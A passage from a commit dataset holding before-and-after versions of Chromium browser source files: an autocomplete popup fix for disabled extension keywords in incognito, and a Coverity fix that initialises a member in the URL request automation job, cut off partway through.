((hovered_line_ != kNoMatch) && (result->size() <= hovered_line_))\n SetHoveredLine(kNoMatch);\n\n view_->UpdatePopupAppearance();\n edit_model_->ResultsUpdated();\n edit_model_->PopupBoundsChangedTo(view_->GetTargetBounds());\n}\n\nconst SkBitmap* AutocompletePopupModel::GetSpecialIconForMatch(\n const AutocompleteMatch& match) const {\n if (!match.template_url || !match.template_url->IsExtensionKeyword())\n return NULL;\n\n return &profile_->GetExtensionsService()->GetOmniboxPopupIcon(\n match.template_url->GetExtensionId());\n}\n<commit_msg>Fix a browser crash when typing a disabled extension keyword in an incognito window's URL bar.<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/autocomplete\/autocomplete_popup_model.h\"\n\n#include \"unicode\/ubidi.h\"\n\n#include \"base\/string_util.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_edit.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_match.h\"\n#include \"chrome\/browser\/autocomplete\/autocomplete_popup_view.h\"\n#include \"chrome\/browser\/autocomplete\/search_provider.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/extensions\/extensions_service.h\"\n#include \"chrome\/browser\/search_engines\/template_url.h\"\n#include \"chrome\/browser\/search_engines\/template_url_model.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"gfx\/rect.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ AutocompletePopupModel\n\nAutocompletePopupModel::AutocompletePopupModel(\n AutocompletePopupView* popup_view,\n AutocompleteEditModel* edit_model,\n Profile* profile)\n : view_(popup_view),\n edit_model_(edit_model),\n controller_(new AutocompleteController(profile)),\n profile_(profile),\n hovered_line_(kNoMatch),\n selected_line_(kNoMatch) {\n registrar_.Add(this, NotificationType::AUTOCOMPLETE_CONTROLLER_RESULT_UPDATED,\n Source<AutocompleteController>(controller_.get()));\n}\n\nAutocompletePopupModel::~AutocompletePopupModel() {\n}\n\nvoid AutocompletePopupModel::SetProfile(Profile* profile) {\n DCHECK(profile);\n profile_ = profile;\n controller_->SetProfile(profile);\n}\n\nvoid AutocompletePopupModel::StartAutocomplete(\n const std::wstring& text,\n const std::wstring& desired_tld,\n bool prevent_inline_autocomplete,\n bool prefer_keyword) {\n \/\/ The user is interacting with the edit, so stop tracking hover.\n SetHoveredLine(kNoMatch);\n\n manually_selected_match_.Clear();\n\n controller_->Start(text, desired_tld, prevent_inline_autocomplete,\n prefer_keyword, true, false);\n}\n\nvoid AutocompletePopupModel::StopAutocomplete() {\n controller_->Stop(true);\n}\n\nbool AutocompletePopupModel::IsOpen() const {\n return view_->IsOpen();\n}\n\nvoid AutocompletePopupModel::SetHoveredLine(size_t line) {\n const bool is_disabling = (line == kNoMatch);\n DCHECK(is_disabling || (line < controller_->result().size()));\n\n if (line == hovered_line_)\n return; \/\/ Nothing to do\n\n \/\/ Make sure the old hovered line is redrawn. No need to redraw the selected\n \/\/ line since selection overrides hover so the appearance won't change.\n if ((hovered_line_ != kNoMatch) && (hovered_line_ != selected_line_))\n view_->InvalidateLine(hovered_line_);\n\n \/\/ Change the hover to the new line.\n hovered_line_ = line;\n if (!is_disabling && (hovered_line_ != selected_line_))\n view_->InvalidateLine(hovered_line_);\n}\n\nvoid AutocompletePopupModel::SetSelectedLine(size_t line,\n bool reset_to_default) {\n \/\/ We should at least be dealing with the results of the current query. Note\n \/\/ that even if |line| was valid on entry, this may make it invalid. We clamp\n \/\/ it below.\n controller_->CommitIfQueryHasNeverBeenCommitted();\n\n const AutocompleteResult& result = controller_->result();\n if (result.empty())\n return;\n\n \/\/ Cancel the query so the matches don't change on the user.\n controller_->Stop(false);\n\n line = std::min(line, result.size() - 1);\n const AutocompleteMatch& match = result.match_at(line);\n if (reset_to_default) {\n manually_selected_match_.Clear();\n } else {\n \/\/ Track the user's selection until they cancel it.\n manually_selected_match_.destination_url = match.destination_url;\n manually_selected_match_.provider_affinity = match.provider;\n manually_selected_match_.is_history_what_you_typed_match =\n match.is_history_what_you_typed_match;\n }\n\n if (line == selected_line_)\n return; \/\/ Nothing else to do.\n\n \/\/ We need to update |selected_line_| before calling OnPopupDataChanged(), so\n \/\/ that when the edit notifies its controller that something has changed, the\n \/\/ controller can get the correct updated data.\n \/\/\n \/\/ NOTE: We should never reach here with no selected line; the same code that\n \/\/ opened the popup and made it possible to get here should have also set a\n \/\/ selected line.\n CHECK(selected_line_ != kNoMatch);\n GURL current_destination(result.match_at(selected_line_).destination_url);\n view_->InvalidateLine(selected_line_);\n selected_line_ = line;\n view_->InvalidateLine(selected_line_);\n\n \/\/ Update the edit with the new data for this match.\n \/\/ TODO(pkasting): If |selected_line_| moves to the controller, this can be\n \/\/ eliminated and just become a call to the observer on the edit.\n std::wstring keyword;\n const bool is_keyword_hint = GetKeywordForMatch(match, &keyword);\n if (reset_to_default) {\n std::wstring inline_autocomplete_text;\n if ((match.inline_autocomplete_offset != std::wstring::npos) &&\n (match.inline_autocomplete_offset < match.fill_into_edit.length())) {\n inline_autocomplete_text =\n match.fill_into_edit.substr(match.inline_autocomplete_offset);\n }\n edit_model_->OnPopupDataChanged(inline_autocomplete_text, NULL,\n keyword, is_keyword_hint);\n } else {\n edit_model_->OnPopupDataChanged(match.fill_into_edit, ¤t_destination,\n keyword, is_keyword_hint);\n }\n\n \/\/ Repaint old and new selected lines immediately, so that the edit doesn't\n \/\/ appear to update [much] faster than the popup.\n view_->PaintUpdatesNow();\n}\n\nvoid AutocompletePopupModel::ResetToDefaultMatch() {\n const AutocompleteResult& result = controller_->result();\n CHECK(!result.empty());\n SetSelectedLine(result.default_match() - result.begin(), true);\n view_->OnDragCanceled();\n}\n\nvoid AutocompletePopupModel::InfoForCurrentSelection(\n AutocompleteMatch* match,\n GURL* alternate_nav_url) const {\n DCHECK(match != NULL);\n const AutocompleteResult* result;\n if (!controller_->done()) {\n \/\/ NOTE: Using latest_result() is important here since not only could it\n \/\/ contain newer results than result() for the current query, it could even\n \/\/ refer to an entirely different query (e.g. if the user is typing rapidly\n \/\/ and the controller is purposefully delaying updates to avoid flicker).\n result = &controller_->latest_result();\n \/\/ It's technically possible for |result| to be empty if no provider returns\n \/\/ a synchronous result but the query has not completed synchronously;\n \/\/ pratically, however, that should never actually happen.\n if (result->empty())\n return;\n \/\/ The user cannot have manually selected a match, or the query would have\n \/\/ stopped. So the default match must be the desired selection.\n *match = *result->default_match();\n } else {\n CHECK(IsOpen());\n \/\/ The query isn't running, so the standard result set can't possibly be out\n \/\/ of date.\n \/\/\n \/\/ NOTE: In practice, it should actually be safe to use\n \/\/ controller_->latest_result() here too, since the controller keeps that\n \/\/ up-to-date. However we generally try to avoid referring to that.\n result = &controller_->result();\n \/\/ If there are no results, the popup should be closed (so we should have\n \/\/ failed the CHECK above), and URLsForDefaultMatch() should have been\n \/\/ called instead.\n CHECK(!result->empty());\n CHECK(selected_line_ < result->size());\n *match = result->match_at(selected_line_);\n }\n if (alternate_nav_url && manually_selected_match_.empty())\n *alternate_nav_url = result->alternate_nav_url();\n}\n\nbool AutocompletePopupModel::GetKeywordForMatch(const AutocompleteMatch& match,\n std::wstring* keyword) const {\n \/\/ Assume we have no keyword until we find otherwise.\n keyword->clear();\n\n \/\/ If the current match is a keyword, return that as the selected keyword.\n if (TemplateURL::SupportsReplacement(match.template_url)) {\n keyword->assign(match.template_url->keyword());\n return false;\n }\n\n \/\/ See if the current match's fill_into_edit corresponds to a keyword.\n if (!profile_->GetTemplateURLModel())\n return false;\n profile_->GetTemplateURLModel()->Load();\n const std::wstring keyword_hint(\n TemplateURLModel::CleanUserInputKeyword(match.fill_into_edit));\n if (keyword_hint.empty())\n return false;\n\n \/\/ Don't provide a hint if this keyword doesn't support replacement.\n const TemplateURL* const template_url =\n profile_->GetTemplateURLModel()->GetTemplateURLForKeyword(keyword_hint);\n if (!TemplateURL::SupportsReplacement(template_url))\n return false;\n\n \/\/ Don't provide a hint for inactive\/disabled extension keywords.\n if (template_url->IsExtensionKeyword()) {\n const Extension* extension = profile_->GetExtensionsService()->\n GetExtensionById(template_url->GetExtensionId(), false);\n if (!extension ||\n (profile_->IsOffTheRecord() &&\n !profile_->GetExtensionsService()->IsIncognitoEnabled(extension)))\n return false;\n }\n\n keyword->assign(keyword_hint);\n return true;\n}\n\nvoid AutocompletePopupModel::FinalizeInstantQuery(const std::wstring& text) {\n if (IsOpen()) {\n SearchProvider* search_provider = controller_->search_provider();\n search_provider->FinalizeInstantQuery(text);\n }\n}\n\nAutocompleteLog* AutocompletePopupModel::GetAutocompleteLog() {\n return new AutocompleteLog(controller_->input().text(),\n controller_->input().type(), selected_line_, 0, controller_->result());\n}\n\nvoid AutocompletePopupModel::Move(int count) {\n const AutocompleteResult& result = controller_->result();\n if (result.empty())\n return;\n\n \/\/ The user is using the keyboard to change the selection, so stop tracking\n \/\/ hover.\n SetHoveredLine(kNoMatch);\n\n \/\/ Clamp the new line to [0, result_.count() - 1].\n const size_t new_line = selected_line_ + count;\n SetSelectedLine(((count < 0) && (new_line >= selected_line_)) ? 0 : new_line,\n false);\n}\n\nvoid AutocompletePopupModel::TryDeletingCurrentItem() {\n \/\/ We could use InfoForCurrentSelection() here, but it seems better to try\n \/\/ and shift-delete the actual selection, rather than any \"in progress, not\n \/\/ yet visible\" one.\n if (selected_line_ == kNoMatch)\n return;\n\n \/\/ Cancel the query so the matches don't change on the user.\n controller_->Stop(false);\n\n const AutocompleteMatch& match =\n controller_->result().match_at(selected_line_);\n if (match.deletable) {\n const size_t selected_line = selected_line_;\n controller_->DeleteMatch(match); \/\/ This may synchronously notify us that\n \/\/ the results have changed.\n const AutocompleteResult& result = controller_->result();\n if (!result.empty()) {\n \/\/ Move the selection to the next choice after the deleted one.\n \/\/ SetSelectedLine() will clamp to take care of the case where we deleted\n \/\/ the last item.\n \/\/ TODO(pkasting): Eventually the controller should take care of this\n \/\/ before notifying us, reducing flicker. At that point the check for\n \/\/ deletability can move there too.\n SetSelectedLine(selected_line, false);\n }\n }\n}\n\nvoid AutocompletePopupModel::Observe(NotificationType type,\n const NotificationSource& source,\n const NotificationDetails& details) {\n DCHECK_EQ(NotificationType::AUTOCOMPLETE_CONTROLLER_RESULT_UPDATED,\n type.value);\n\n const AutocompleteResult* result =\n Details<const AutocompleteResult>(details).ptr();\n selected_line_ = result->default_match() == result->end() ?\n kNoMatch : static_cast<size_t>(result->default_match() - result->begin());\n \/\/ There had better not be a nonempty result set with no default match.\n CHECK((selected_line_ != kNoMatch) || result->empty());\n \/\/ If we're going to trim the window size to no longer include the hovered\n \/\/ line, turn hover off. Practically, this shouldn't happen, but it\n \/\/ doesn't hurt to be defensive.\n if ((hovered_line_ != kNoMatch) && (result->size() <= hovered_line_))\n SetHoveredLine(kNoMatch);\n\n view_->UpdatePopupAppearance();\n edit_model_->ResultsUpdated();\n edit_model_->PopupBoundsChangedTo(view_->GetTargetBounds());\n}\n\nconst SkBitmap* AutocompletePopupModel::GetSpecialIconForMatch(\n const AutocompleteMatch& match) const {\n if (!match.template_url || !match.template_url->IsExtensionKeyword())\n return NULL;\n\n return &profile_->GetExtensionsService()->GetOmniboxPopupIcon(\n match.template_url->GetExtensionId());\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/automation\/url_request_automation_job.h\"\n\n#include \"base\/message_loop.h\"\n#include \"base\/time.h\"\n#include \"chrome\/browser\/automation\/automation_resource_message_filter.h\"\n#include \"chrome\/browser\/chrome_thread.h\"\n#include \"chrome\/browser\/renderer_host\/render_view_host.h\"\n#include \"chrome\/browser\/renderer_host\/resource_dispatcher_host.h\"\n#include \"chrome\/browser\/renderer_host\/resource_dispatcher_host_request_info.h\"\n#include \"chrome\/test\/automation\/automation_messages.h\"\n#include \"net\/base\/cookie_monster.h\"\n#include \"net\/base\/io_buffer.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/http\/http_request_headers.h\"\n#include \"net\/http\/http_util.h\"\n#include \"net\/url_request\/url_request_context.h\"\n\nusing base::Time;\nusing base::TimeDelta;\n\n\/\/ The list of filtered headers that are removed from requests sent via\n\/\/ StartAsync(). These must be lower case.\nstatic const char* const kFilteredHeaderStrings[] = {\n \"accept\",\n \"cache-control\",\n \"connection\",\n \"cookie\",\n \"expect\",\n \"max-forwards\",\n \"proxy-authorization\",\n \"te\",\n \"upgrade\",\n \"via\"\n};\n\nint URLRequestAutomationJob::instance_count_ = 0;\nbool URLRequestAutomationJob::is_protocol_factory_registered_ = false;\n\nURLRequest::ProtocolFactory* URLRequestAutomationJob::old_http_factory_\n = NULL;\nURLRequest::ProtocolFactory* URLRequestAutomationJob::old_https_factory_\n = NULL;\n\nURLRequestAutomationJob::URLRequestAutomationJob(URLRequest* request, int tab,\n int request_id, AutomationResourceMessageFilter* filter, bool is_pending)\n : URLRequestJob(request),\n tab_(tab),\n message_filter_(filter),\n pending_buf_size_(0),\n redirect_status_(0),\n request_id_(request_id),\n is_pending_(is_pending) {\n DLOG(INFO) << \"URLRequestAutomationJob create. Count: \" << ++instance_count_;\n DCHECK(message_filter_ != NULL);\n\n if (message_filter_) {\n id_ = message_filter_->NewAutomationRequestId();\n DCHECK_NE(id_, 0);\n }\n}\n\nURLRequestAutomationJob::~URLRequestAutomationJob() {\n DLOG(INFO) << \"URLRequestAutomationJob delete. Count: \" << --instance_count_;\n Cleanup();\n}\n\nbool URLRequestAutomationJob::EnsureProtocolFactoryRegistered() {\n DCHECK(ChromeThread::CurrentlyOn(ChromeThread::IO));\n\n if (!is_protocol_factory_registered_) {\n old_http_factory_ =\n URLRequest::RegisterProtocolFactory(\"http\",\n &URLRequestAutomationJob::Factory);\n old_https_factory_ =\n URLRequest::RegisterProtocolFactory(\"https\",\n &URLRequestAutomationJob::Factory);\n is_protocol_factory_registered_ = true;\n }\n\n return true;\n}\n\nURLRequestJob* URLRequestAutomationJob::Factory(URLRequest* request,\n const std::string& scheme) {\n bool scheme_is_http = request->url().SchemeIs(\"http\");\n bool scheme_is_https = request->url().SchemeIs(\"https\");\n\n \/\/ Returning null here just means that the built-in handler will be used.\n if (scheme_is_http || scheme_is_https) {\n ResourceDispatcherHostRequestInfo* request_info =\n ResourceDispatcherHost::InfoForRequest(request);\n if (request_info) {\n int child_id = request_info->child_id();\n int route_id = request_info->route_id();\n\n if (request_info->process_type() == ChildProcessInfo::PLUGIN_PROCESS) {\n child_id = request_info->host_renderer_id();\n route_id = request_info->host_render_view_id();\n }\n\n AutomationResourceMessageFilter::AutomationDetails details;\n if (AutomationResourceMessageFilter::LookupRegisteredRenderView(\n child_id, route_id, &details)) {\n URLRequestAutomationJob* job = new URLRequestAutomationJob(request,\n details.tab_handle, request_info->request_id(), details.filter,\n details.is_pending_render_view);\n return job;\n }\n }\n\n if (scheme_is_http && old_http_factory_)\n return old_http_factory_(request, scheme);\n else if (scheme_is_https && old_https_factory_)\n return old_https_factory_(request, scheme);\n }\n return NULL;\n}\n\n\/\/ URLRequestJob Implementation.\nvoid URLRequestAutomationJob::Start() {\n if (!is_pending()) {\n \/\/ Start reading asynchronously so that all error reporting and data\n \/\/ callbacks happen as they would for network requests.\n MessageLoop::current()->PostTask(FROM_HERE, NewRunnableMethod(\n this, &URLRequestAutomationJob::StartAsync));\n } else {\n \/\/ If this is a pending job, then register it immediately with the message\n \/\/ filter so it can be serviced later when we receive a request from the\n \/\/ external host to connect to the corresponding external tab.\n message_filter_->RegisterRequest(this);\n }\n}\n\nvoid URLRequestAutomationJob::Kill() {\n if (message_filter_.get()) {\n if (!is_pending()) {\n message_filter_->Send(new AutomationMsg_RequestEnd(0, tab_, id_,\n URLRequestStatus(URLRequestStatus::CANCELED, net::ERR_ABORTED)));\n }\n }\n DisconnectFromMessageFilter();\n URLRequestJob::Kill();\n}\n\nbool URLRequestAutomationJob::ReadRawData(\n net::IOBuffer* buf, int buf_size, int* bytes_read) {\n DLOG(INFO) << \"URLRequestAutomationJob: \" <<\n request_->url().spec() << \" - read pending: \" << buf_size;\n\n \/\/ We should not receive a read request for a pending job.\n DCHECK(!is_pending());\n\n pending_buf_ = buf;\n pending_buf_size_ = buf_size;\n\n if (message_filter_) {\n message_filter_->Send(new AutomationMsg_RequestRead(0, tab_, id_,\n buf_size));\n SetStatus(URLRequestStatus(URLRequestStatus::IO_PENDING, 0));\n } else {\n ChromeThread::PostTask(ChromeThread::IO, FROM_HERE,\n NewRunnableMethod(this,\n &URLRequestAutomationJob::NotifyJobCompletionTask));\n }\n return false;\n}\n\nbool URLRequestAutomationJob::GetMimeType(std::string* mime_type) const {\n if (!mime_type_.empty()) {\n *mime_type = mime_type_;\n } else if (headers_) {\n headers_->GetMimeType(mime_type);\n }\n\n return (!mime_type->empty());\n}\n\nbool URLRequestAutomationJob::GetCharset(std::string* charset) {\n if (headers_)\n return headers_->GetCharset(charset);\n return false;\n}\n\nvoid URLRequestAutomationJob::GetResponseInfo(net::HttpResponseInfo* info) {\n if (headers_)\n info->headers = headers_;\n if (request_->url().SchemeIsSecure()) {\n \/\/ Make up a fake certificate for this response since we don't have\n \/\/ access to the real SSL info.\n const char* kCertIssuer = \"Chrome Internal\";\n const int kLifetimeDays = 100;\n\n info->ssl_info.cert =\n new net::X509Certificate(request_->url().GetWithEmptyPath().spec(),\n kCertIssuer,\n Time::Now(),\n Time::Now() +\n TimeDelta::FromDays(kLifetimeDays));\n info->ssl_info.cert_status = 0;\n info->ssl_info.security_bits = 0;\n }\n}\n\nint URLRequestAutomationJob::GetResponseCode() const {\n if (headers_)\n return headers_->response_code();\n\n static const int kDefaultResponseCode = 200;\n return kDefaultResponseCode;\n}\n\nbool URLRequestAutomationJob::IsRedirectResponse(\n GURL* location, int* http_status_code) {\n if (!net::HttpResponseHeaders::IsRedirectResponseCode(redirect_status_))\n return false;\n\n *http_status_code = redirect_status_;\n *location = GURL(redirect_url_);\n return true;\n}\n\nbool URLRequestAutomationJob::MayFilterMessage(const IPC::Message& message,\n int* request_id) {\n switch (message.type()) {\n case AutomationMsg_RequestStarted::ID:\n case AutomationMsg_RequestData::ID:\n case AutomationMsg_RequestEnd::ID: {\n void* iter = NULL;\n int tab = 0;\n if (message.ReadInt(&iter, &tab) &&\n message.ReadInt(&iter, request_id)) {\n return true;\n }\n break;\n }\n }\n\n return false;\n}\n\nvoid URLRequestAutomationJob::OnMessage(const IPC::Message& message) {\n if (!request_) {\n NOTREACHED() << __FUNCTION__\n << \": Unexpected request received for job:\"\n << id();\n return;\n }\n\n IPC_BEGIN_MESSAGE_MAP(URLRequestAutomationJob, message)\n IPC_MESSAGE_HANDLER(AutomationMsg_RequestStarted, OnRequestStarted)\n IPC_MESSAGE_HANDLER(AutomationMsg_RequestData, OnDataAvailable)\n IPC_MESSAGE_HANDLER(AutomationMsg_RequestEnd, OnRequestEnd)\n IPC_END_MESSAGE_MAP()\n}\n\nvoid URLRequestAutomationJob::OnRequestStarted(int tab, int id,\n const IPC::AutomationURLResponse& response) {\n DLOG(INFO) << \"URLRequestAutomationJob: \" <<\n request_->url().spec() << \" - response started.\";\n set_expected_content_size(response.content_length);\n mime_type_ = response.mime_type;\n\n redirect_url_ = response.redirect_url;\n redirect_status_ = response.redirect_status;\n DCHECK(redirect_status_ == 0 || redirect_status_ == 200 ||\n (redirect_status_ >= 300 && redirect_status_ < 400));\n\n if (!response.headers.empty()) {\n headers_ = new net::HttpResponseHeaders(\n net::HttpUtil::AssembleRawHeaders(response.headers.data(),\n response.headers.size()));\n }\n NotifyHeadersComplete();\n}\n\nvoid URLRequestAutomationJob::OnDataAvailable(\n int tab, int id, const std::string& bytes) {\n DLOG(INFO) << \"URLRequestAutomationJob: \" <<\n request_->url().spec() << \" - data available, Size: \" << bytes.size();\n DCHECK(!bytes.empty());\n\n \/\/ The request completed, and we have all the data.\n \/\/ Clear any IO pending status.\n SetStatus(URLRequestStatus());\n\n if (pending_buf_ && pending_buf_->data()) {\n DCHECK_GE(pending_buf_size_, bytes.size());\n const int bytes_to_copy = std::min(bytes.size(), pending_buf_size_);\n memcpy(pending_buf_->data(), &bytes[0], bytes_to_copy);\n\n pending_buf_ = NULL;\n pending_buf_size_ = 0;\n\n NotifyReadComplete(bytes_to_copy);\n } else {\n NOTREACHED() << \"Received unexpected data of length:\" << bytes.size();\n }\n}\n\nvoid URLRequestAutomationJob::OnRequestEnd(\n int tab, int id, const URLRequestStatus& status) {\n#ifndef NDEBUG\n std::string url;\n if (request_)\n url = request_->url().spec();\n DLOG(INFO) << \"URLRequestAutomationJob: \"\n << url << \" - request end. Status: \" << status.status();\n#endif\n\n \/\/ TODO(tommi): When we hit certificate errors, notify the delegate via\n \/\/ OnSSLCertificateError(). Right now we don't have the certificate\n \/\/ so we don't. We could possibly call OnSSLCertificateError with a NULL\n \/\/ certificate, but I'm not sure if all implementations expect it.\n \/\/ if (status.status() == URLRequestStatus::FAILED &&\n \/\/ net::IsCertificateError(status.os_error()) && request_->delegate()) {\n \/\/ request_->delegate()->OnSSLCertificateError(request_, status.os_error());\n \/\/ }\n\n DisconnectFromMessageFilter();\n \/\/ NotifyDone may have been called on the job if the original request was\n \/\/ redirected.\n if (!is_done()) {\n \/\/ We can complete the job if we have a valid response or a pending read.\n \/\/ An end request can be received in the following cases\n \/\/ 1. We failed to connect to the server, in which case we did not receive\n \/\/ a valid response.\n \/\/ 2. In response to a read request.\n if (!has_response_started() || pending_buf_) {\n NotifyDone(status);\n } else {\n \/\/ Wait for the http stack to issue a Read request where we will notify\n \/\/ that the job has completed.\n request_status_ = status;\n return;\n }\n }\n\n \/\/ Reset any pending reads.\n if (pending_buf_) {\n pending_buf_ = NULL;\n pending_buf_size_ = 0;\n NotifyReadComplete(0);\n }\n}\n\nvoid URLRequestAutomationJob::Cleanup() {\n headers_ = NULL;\n mime_type_.erase();\n\n id_ = 0;\n tab_ = 0;\n\n DCHECK(message_filter_ == NULL);\n DisconnectFromMessageFilter();\n\n pending_buf_ = NULL;\n pending_buf_size_ = 0;\n}\n\nvoid URLRequestAutomationJob::StartAsync() {\n DLOG(INFO) << \"URLRequestAutomationJob: start request: \" <<\n (request_ ? request_->url().spec() : \"NULL request\");\n\n \/\/ If the job is cancelled before we got a chance to start it\n \/\/ we have nothing much to do here.\n if (is_done())\n return;\n\n \/\/ We should not receive a Start request for a pending job.\n DCHECK(!is_pending());\n\n if (!request_) {\n NotifyStartError(URLRequestStatus(URLRequestStatus::FAILED,\n net::ERR_FAILED));\n return;\n }\n\n \/\/ Register this request with automation message filter.\n message_filter_->RegisterRequest(this);\n\n \/\/ Strip unwanted headers.\n net::HttpRequestHeaders new_request_headers;\n new_request_headers.MergeFrom(request_->extra_request_headers());\n for (size_t i = 0; i < arraysize(kFilteredHeaderStrings); ++i)\n new_request_headers.RemoveHeader(kFilteredHeaderStrings[i]);\n\n if (request_->context()) {\n \/\/ Only add default Accept-Language and Accept-Charset if the request\n \/\/ didn't have them specified.\n if (!new_request_headers.HasHeader(\n net::HttpRequestHeaders::kAcceptLanguage) &&\n !request_->context()->accept_language().empty()) {\n new_request_headers.SetHeader(net::HttpRequestHeaders::kAcceptLanguage,\n request_->context()->accept_language());\n }\n if (!new_request_headers.HasHeader(\n net::HttpRequestHeaders::kAcceptCharset) &&\n !request_->context()->accept_charset().empty()) {\n new_request_headers.SetHeader(net::HttpRequestHeaders::kAcceptCharset,\n request_->context()->accept_charset());\n }\n }\n\n \/\/ Ensure that we do not send username and password fields in the referrer.\n GURL referrer(request_->GetSanitizedReferrer());\n\n \/\/ The referrer header must be suppressed if the preceding URL was\n \/\/ a secure one and the new one is not.\n if (referrer.SchemeIsSecure() && !request_->url().SchemeIsSecure()) {\n DLOG(INFO) <<\n \"Suppressing referrer header since going from secure to non-secure\";\n referrer = GURL();\n }\n\n \/\/ Ask automation to start this request.\n IPC::AutomationURLRequest automation_request = {\n request_->url().spec(),\n request_->method(),\n referrer.spec(),\n new_request_headers.ToString(),\n request_->get_upload()\n };\n\n DCHECK(message_filter_);\n message_filter_->Send(new AutomationMsg_RequestStart(0, tab_, id_,\n automation_request));\n}\n\nvoid URLRequestAutomationJob::DisconnectFromMessageFilter() {\n if (message_filter_) {\n message_filter_->UnRegisterRequest(this);\n message_filter_ = NULL;\n }\n}\n\nvoid URLRequestAutomationJob::StartPendingJob(\n int new_tab_handle,\n AutomationResourceMessageFilter* new_filter) {\n DCHECK(new_filter != NULL);\n tab_ = new_tab_handle;\n message_filter_ = new_filter;\n is_pending_ = false;\n Start();\n}\n\nvoid URLRequestAutomationJob::NotifyJobCompletionTask() {\n if (!is_done()) {\n NotifyDone(request_status_);\n }\n \/\/ Reset any pending reads.\n if (pending_buf_) {\n pending_buf_ = NULL;\n pending_buf_size_ = 0;\n NotifyReadComplete(0);\n }\n}\n<commit_msg>Coverity issue 8297: Uninitialized member in url_request_automation_job.cc<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/automation\/url_request_automation_job.h\"\n\n#include \"base\/message_loop.h\"\n#include \"base\/time.h\"\n#include \"chrome\/browser\/automation\/automation_resource_message_filter.h\"\n#include \"chrome\/browser\/chrome_thread.h\"\n#include \"chrome\/browser\/renderer_host\/render_view_host.h\"\n#include \"chrome\/browser\/renderer_host\/resource_dispatcher_host.h\"\n#include \"chrome\/browser\/renderer_host\/resource_dispatcher_host_request_info.h\"\n#include \"chrome\/test\/automation\/automation_messages.h\"\n#include \"net\/base\/cookie_monster.h\"\n#include \"net\/base\/io_buffer.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/http\/http_request_headers.h\"\n#include \"net\/http\/http_util.h\"\n#include \"net\/url_request\/url_request_context.h\"\n\nusing base::Time;\nusing base::TimeDelta;\n\n\/\/ The list of filtered headers that are removed from requests sent via\n\/\/ StartAsync(). These must be lower case.\nstatic const char* const kFilteredHeaderStrings[] = {\n \"accept\",\n \"cache-control\",\n \"connection\",\n \"cookie\",\n \"expect\",\n \"max-forwards\",\n \"proxy-authorization\",\n \"te\",\n \"upgrade\",\n \"via\"\n};\n\nint URLRequestAutomationJob::instance_count_ = 0;\nbool URLRequestAutomationJob::is_protocol_factory_registered_ = false;\n\nURLRequest::ProtocolFactory* URLRequestAutomationJob::old_http_factory_\n = NULL;\nURLRequest::ProtocolFactory* URLRequestAutomationJob::old_https_factory_\n = NULL;\n\nURLRequestAutomationJob::URLRequestAutomationJob(URLRequest* request, int tab,\n int request_id, AutomationResourceMessageFilter* filter, bool is_pending)\n : URLRequestJob(request),\n id_(0),\n tab_(tab),\n message_filter_(filter),\n pending_buf_size_(0),\n redirect_status_(0),\n request_id_(request_id),\n is_pending_(is_pending) {\n DLOG(INFO) << \"URLRequestAutomationJob create. Count: \" << ++instance_count_;\n DCHECK(message_filter_ != NULL);\n\n if (message_filter_) {\n id_ = message_filter_->NewAutomationRequestId();\n DCHECK_NE(id_, 0);\n }\n}\n\nURLRequestAutomationJob::~URLRequestAutomationJob() {\n DLOG(INFO) << \"URLRequestAutomationJob delete. Count: \" << --instance_count_;\n Cleanup();\n}\n\nbool URLRequestAutomationJob::EnsureProtocolFactoryRegistered() {\n DCHECK(ChromeThread::CurrentlyOn(ChromeThread::IO));\n\n if (!is_protocol_factory_registered_) {\n old_http_factory_ =\n URLRequest::RegisterProtocolFactory(\"http\",\n &URLRequestAutomationJob::Factory);\n old_https_factory_ =\n URLRequest::RegisterProtocolFactory(\"https\",\n &URLRequestAutomationJob::Factory);\n is_protocol_factory_registered_ = true;\n }\n\n return true;\n}\n\nURLRequestJob* URLRequestAutomationJob::Factory(URLRequest* request,\n const std::string& scheme) {\n bool scheme_is_http = request->url().SchemeIs(\"http\");\n bool scheme_is_https = request->url().SchemeIs(\"https\");\n\n \/\/ Returning null here just means that the built-in handler will be used.\n if (scheme_is_http || scheme_is_https) {\n ResourceDispatcherHostRequestInfo* request_info =\n ResourceDispatcherHost::InfoForRequest(request);\n if (request_info) {\n int child_id = request_info->child_id();\n int route_id = request_info->route_id();\n\n if (request_info->process_type() == ChildProcessInfo::PLUGIN_PROCESS) {\n child_id = request_info->host_renderer_id();\n route_id = request_info->host_render_view_id();\n }\n\n AutomationResourceMessageFilter::AutomationDetails details;\n if (AutomationResourceMessageFilter::LookupRegisteredRenderView(\n child_id, route_id, &details)) {\n URLRequestAutomationJob* job = new URLRequestAutomationJob(request,\n details.tab_handle, request_info->request_id(), details.filter,\n details.is_pending_render_view);\n return job;\n }\n }\n\n if (scheme_is_http && old_http_factory_)\n return old_http_factory_(request, scheme);\n else if (scheme_is_https && old_https_factory_)\n return old_https_factory_(request, scheme);\n }\n return NULL;\n}\n\n\/\/ URLRequestJob Implementation.\nvoid URLRequestAutomationJob::Start() {\n if (!is_pending()) {\n \/\/ Start reading asynchronously so that all error reporting and data\n \/\/ callbacks happen as they would for network requests.\n MessageLoop::current()->PostTask(FROM_HERE, NewRunnableMethod(\n this, &URLRequestAutomationJob::StartAsync));\n } else {\n \/\/ If this is a pending job, then register it immediately with the message\n \/\/ filter so it can be serviced later when we receive a request from the\n \/\/ external host to connect to the corresponding external tab.\n 